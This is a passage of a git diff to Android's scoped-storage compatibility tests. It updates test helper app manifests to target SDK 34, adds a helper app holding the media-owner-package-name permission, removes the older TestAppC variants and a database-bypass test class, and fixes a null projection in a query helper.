 
@@ -226,8 +208,6 @@
         ":CtsScopedStorageTestAppA",
         ":CtsScopedStorageTestAppA31",
         ":CtsScopedStorageTestAppB",
-        ":CtsScopedStorageTestAppC",
-        ":CtsScopedStorageTestAppCLegacy",
     ],
 }
 
@@ -279,7 +259,7 @@
     manifest: "ScopedStorageTestHelper/TestAppWithQueriesTag.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
-    target_sdk_version: "33",
+    target_sdk_version: "34",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
     // Tag as a CTS artifact
@@ -294,6 +274,21 @@
     manifest: "ScopedStorageTestHelper/TestAppWithQueryAllPackagesPermission.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
+    target_sdk_version: "34",
+    min_sdk_version: "30",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: [
+        "general-tests",
+        "mts-mediaprovider",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsTestAppWithAccessMediaOwnerPackageNamePermission",
+    manifest: "ScopedStorageTestHelper/TestAppWithAccessMediaOwnerPackageNamePermission.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
     target_sdk_version: "33",
     min_sdk_version: "30",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
@@ -441,6 +436,7 @@
         ":CtsLegacyStorageTestAppRequestLegacy",
         ":CtsLegacyStorageTestAppPreserveLegacy",
         ":CtsTestAppWithQueryAllPackagesPermission",
+        ":CtsTestAppWithAccessMediaOwnerPackageNamePermission",
         ":CtsTestAppWithQueriesTag",
     ],
 }
@@ -552,33 +548,24 @@
         "android.test.runner",
     ],
     java_resources: [
-        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppA34",
         ":CtsScopedStorageTestAppB",
-        ":CtsScopedStorageTestAppC",
-        ":CtsScopedStorageTestAppC30",
-        ":CtsScopedStorageTestAppCLegacy",
+        ":CtsScopedStorageTestAppB34",
         ":CtsScopedStorageTestAppDLegacy",
         ":CtsScopedStorageTestAppFileManager",
-        ":CtsScopedStorageTestAppFileManagerBypassDB",
-        ":CtsScopedStorageTestAppSystemGalleryBypassDB",
-        ":CtsScopedStorageTestAppSystemGallery30BypassDB",
         ":CtsTestAppWithQueryAllPackagesPermission",
+        ":CtsTestAppWithAccessMediaOwnerPackageNamePermission",
         ":CtsTestAppWithQueriesTag",
-        ":CtsScopedStorageTestAppE30",
-        ":CtsScopedStorageTestAppE30FileManager",
     ],
     data: [
         ":CtsScopedStorageTestAppFileManager",
-        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppA34",
         ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppB34",
         ":CtsScopedStorageTestAppDLegacy",
         ":CtsTestAppWithQueryAllPackagesPermission",
+        ":CtsTestAppWithAccessMediaOwnerPackageNamePermission",
         ":CtsTestAppWithQueriesTag",
-        ":CtsScopedStorageTestAppE30",
-        ":CtsScopedStorageTestAppE30FileManager",
-        ":CtsScopedStorageTestAppSystemGalleryBypassDB",
-        ":CtsScopedStorageTestAppSystemGallery30BypassDB",
-        ":CtsScopedStorageTestAppFileManagerBypassDB",
     ],
     per_testcase_directory: true,
 }
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA34.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA34.xml
new file mode 100644
index 0000000..099823e
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA34.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2023 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.scopedstorage.cts.testapp.A34.withres"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="34"/>
+
+    <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppA">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.A34.withres"
+            android:exported="false"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB34.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB34.xml
new file mode 100644
index 0000000..4beca8b
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB34.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2023 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.scopedstorage.cts.testapp.B34.withres"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="34"/>
+
+    <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppB">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.B34.withres"
+            android:exported="false"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
deleted file mode 100644
index a960c6c..0000000
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.C"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-  <uses-sdk android:minSdkVersion="29" />
-
-  <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
-  <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
-  <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
-  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
-  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
-    <application android:label="TestAppC">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="android.scopedstorage.cts.testapp.C"
-            android:exported="false"
-            android:grantUriPermissions="true">
-          <meta-data
-              android:name="android.support.FILE_PROVIDER_PATHS"
-              android:resource="@xml/file_paths" />
-        </provider>
-    </application>
-</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC30.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC30.xml
deleted file mode 100644
index ac82f8b..0000000
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC30.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.C"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-  <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="30" />
-
-  <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
-  <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
-  <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
-  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
-  <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
-    <application android:label="TestAppC">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="android.scopedstorage.cts.testapp.C"
-            android:exported="false"
-            android:grantUriPermissions="true">
-          <meta-data
-              android:name="android.support.FILE_PROVIDER_PATHS"
-              android:resource="@xml/file_paths" />
-        </provider>
-    </application>
-</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
deleted file mode 100644
index 75b29a8..0000000
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.C"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-  <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
-
-  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-
-    <application android:label="TestAppCLegacy">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <provider
-            android:name="androidx.core.content.FileProvider"
-            android:authorities="android.scopedstorage.cts.testapp.C"
-            android:exported="false"
-            android:grantUriPermissions="true">
-          <meta-data
-              android:name="android.support.FILE_PROVIDER_PATHS"
-              android:resource="@xml/file_paths" />
-        </provider>
-    </application>
-</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithAccessMediaOwnerPackageNamePermission.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithAccessMediaOwnerPackageNamePermission.xml
new file mode 100644
index 0000000..55e5d9d
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithAccessMediaOwnerPackageNamePermission.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2023 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.scopedstorage.cts.testapp.WithAccessMediaOwnerPackageNamePerm"
+          android:versionCode="1"
+          android:versionName="1.0" >
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+    <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+    <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+    <uses-permission android:name="com.android.providers.media.permission.ACCESS_MEDIA_OWNER_PACKAGE_NAME" />
+
+    <application android:label="TestAppWithAccessMediaOwnerPackageNamePermission">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.TestAppWithAccessMediaOwnerPackageNamePermission"
+            android:exported="false"
+            android:grantUriPermissions="true">
+            <meta-data
+                android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueriesTag.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueriesTag.xml
index 6592888..be3d795 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueriesTag.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueriesTag.xml
@@ -20,13 +20,15 @@
           android:versionCode="1"
           android:versionName="1.0" >
 
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="34"/>
+
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
     <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
     <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
 
     <queries>
-        <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
+        <package android:name="android.scopedstorage.cts.testapp.B34.withres" />
     </queries>
 
     <application android:label="TestAppWithQueriesTag">
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueryAllPackagesPermission.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueryAllPackagesPermission.xml
index ba54189..f5146f2 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueryAllPackagesPermission.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppWithQueryAllPackagesPermission.xml
@@ -20,6 +20,8 @@
           android:versionCode="1"
           android:versionName="1.0" >
 
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="34"/>
+
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
     <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 4435e75..11625a4 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -275,14 +275,19 @@
     private Intent queryMediaByUri(String queryType) {
         final Intent intent = new Intent(queryType);
         final Uri uri = getIntent().getParcelableExtra(INTENT_EXTRA_URI);
-        final Bundle projection = getIntent().getBundleExtra(INTENT_EXTRA_ARGS);
+        final Bundle projectionBundle = getIntent().getBundleExtra(INTENT_EXTRA_ARGS);
+
+        String[] projection = null;
+        if (projectionBundle != null && !projectionBundle.isEmpty()) {
+            projection = projectionBundle.keySet().toArray(new String[0]);
+        }
 
         try (Cursor c = getContentResolver()
-                .query(uri, projection.keySet().toArray(new String[0]), null, null)) {
+                .query(uri, projection, null, null)) {
             final Bundle result = new Bundle();
             if (c.getCount() == 1) {
                 c.moveToFirst();
-                for (String column : projection.keySet()) {
+                for (String column : c.getColumnNames()) {
                     result.putString(column, c.getString(c.getColumnIndex(column)));
                 }
             } else {
diff --git a/hostsidetests/scopedstorage/device/AndroidManifest.xml b/hostsidetests/scopedstorage/device/AndroidManifest.xml
index c9ff6a9..3b87e0f 100644
--- a/hostsidetests/scopedstorage/device/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidManifest.xml
@@ -23,19 +23,14 @@
     <uses-permission android:name="android.permission.ACCESS_MEDIA_LOCATION" />
 
     <queries>
-        <package android:name="android.scopedstorage.cts.testapp.A.withres" />
-        <package android:name="android.scopedstorage.cts.testapp.A31.withres" />
+        <package android:name="android.scopedstorage.cts.testapp.A34.withres" />
         <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
-        <package android:name="android.scopedstorage.cts.testapp.C" />
+        <package android:name="android.scopedstorage.cts.testapp.B34.withres" />
         <package android:name="android.scopedstorage.cts.testapp.D" />
         <package android:name="android.scopedstorage.cts.testapp.filemanager" />
-        <package android:name="android.scopedstorage.cts.testapp.filemanagerbypassdb" />
-        <package android:name="android.scopedstorage.cts.testapp.SystemGalleryBypassDB" />
         <package android:name="android.scopedstorage.cts.testapp.withqueriestag" />
         <package android:name="android.scopedstorage.cts.testapp.withqueryallpackagestag" />
-        <package android:name="android.scopedstorage.cts.testapp.SystemGallery30BypassDB" />
-        <package android:name="android.scopedstorage.cts.testapp.E30" />
-        <package android:name="android.scopedstorage.cts.testapp.E30.filemanager" />
+        <package android:name="android.scopedstorage.cts.testapp.TestAppWithAccessMediaOwnerPackageNamePermission" />
     </queries>
 
     <application android:label="Scoped Storage Device Tests">
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index d26f207..fd87a6a 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -17,17 +17,14 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsScopedStorageDeviceOnlyTest.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA34.apk" />
         <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB34.apk" />
         <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
         <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
         <option name="test-file-name" value="CtsTestAppWithQueryAllPackagesPermission.apk" />
+        <option name="test-file-name" value="CtsTestAppWithAccessMediaOwnerPackageNamePermission.apk" />
         <option name="test-file-name" value="CtsTestAppWithQueriesTag.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppE30.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppE30FileManager.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppFileManagerBypassDB.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppSystemGalleryBypassDB.apk" />
-        <option name="test-file-name" value="CtsScopedStorageTestAppSystemGallery30BypassDB.apk" />
     </target_preparer>
 
     <option
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
deleted file mode 100644
index 9caf9d7..0000000
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
+++ /dev/null
@@ -1,294 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.scopedstorage.cts.device;
-
-import static android.app.AppOpsManager.permissionToOp;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
-import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-
-import android.Manifest;
-import android.app.AppOpsManager;
-import android.provider.MediaStore;
-import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
-import android.scopedstorage.cts.lib.TestUtils;
-import android.util.Log;
-
-import androidx.test.filters.SdkSuppress;
-
-import com.android.cts.install.lib.TestApp;
-
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-/**
- * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
- * This is a temporary test class, and it will be deleted
- * after all the links to new modules are created.
- */
-@RunWith(Parameterized.class)
-public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
-    static final String TAG = "BypassDatabaseOperationsTest";
-    // An app with READ_EXTERNAL_STORAGE permission. Targets current SDK and is preinstalled
-    private static final TestApp APP_SYSTEM_GALLERY_DEFAULT = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A.withres", 1, false,
-            "CtsScopedStorageTestAppA.apk");
-    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets current SDK and has
-    // requestRawExternalStorageAccess=true
-    private static final TestApp APP_SYSTEM_GALLERY_BYPASS_DB = new TestApp(
-            "TestAppSystemGalleryBypassDB",
-            "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
-            "CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
-    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
-    private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppE30",
-            "android.scopedstorage.cts.testapp.E30", 1, false,
-            "CtsScopedStorageTestAppE30.apk");
-    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
-    // requestRawExternalStorageAccess=true
-    private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
-            "TestAppSystemGallery30BypassDB",
-            "android.scopedstorage.cts.testapp.SystemGallery30BypassDB", 1, false,
-            "CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
-    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
-    // Targets current SDK and preinstalled
-    private static final TestApp APP_FM_DEFAULT = new TestApp(
-            "TestAppFileManager", "android.scopedstorage.cts.testapp.filemanager", 1, false,
-            "CtsScopedStorageTestAppFileManager.apk");
-    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
-    // Targets current SDK and has requestRawExternalStorageAccess=true
-    private static final TestApp APP_FM_BYPASS_DATABASE_OPS = new TestApp(
-            "TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
-            1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
-    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
-    private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppE30FileManager",
-            "android.scopedstorage.cts.testapp.E30.filemanager", 1, false,
-            "CtsScopedStorageTestAppE30FileManager.apk");
-
-    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
-            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
-    private static final String[] SYSTEM_GALLERY_APPOPS = {
-            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
-
-    /**
-     * To help avoid flaky tests, give ourselves a unique nonce to be used for
-     * all filesystem paths, so that we don't risk conflicting with previous
-     * test runs.
-     */
-    static final String NONCE = String.valueOf(System.nanoTime());
-
-    static final String IMAGE_FILE_NAME = "BypassDatabaseOperations_file_" + NONCE + ".jpg";
-
-    @BeforeClass
-    public static void setupApps() throws Exception {
-        // File manager needs to be explicitly granted MES app op.
-        final int fmUid =
-                getContext().getPackageManager().getPackageUid(
-                        APP_FM_DEFAULT.getPackageName(), 0);
-        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-    }
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters(name = "volume={0}")
-    public static Iterable<? extends Object> data() {
-        return ScopedStorageBaseDeviceTest.getTestParameters();
-    }
-
-    @Before
-    public void setupExternalStorage() throws Exception {
-        super.setupExternalStorage(mVolumeName);
-        Log.i(TAG, "Using volume : " + mVolumeName);
-    }
-
-
-    /**
-     * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
-     * targetSDK=31 or higher will not bypass database operations by default.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testManageExternalStorage_DoesntBypassDatabase_afterS() throws Exception {
-        testAppDoesntBypassDatabaseOps(APP_FM_DEFAULT);
-    }
-
-    /**
-     * Test that app with MANAGE_EXTERNAL_STORAGE permission, targeting
-     * targetSDK=31 or higher and with requestRawExternalStorageAccess=true
-     * will bypass database operations.
-     */
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
-        final int fmUid = getContext().getPackageManager().getPackageUid(
-                APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
-        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
-        testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
-    }
-
-    /**
-     * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
-     * targetSDK=30 or lower will bypass database operations by default.
-     */
-    @Test
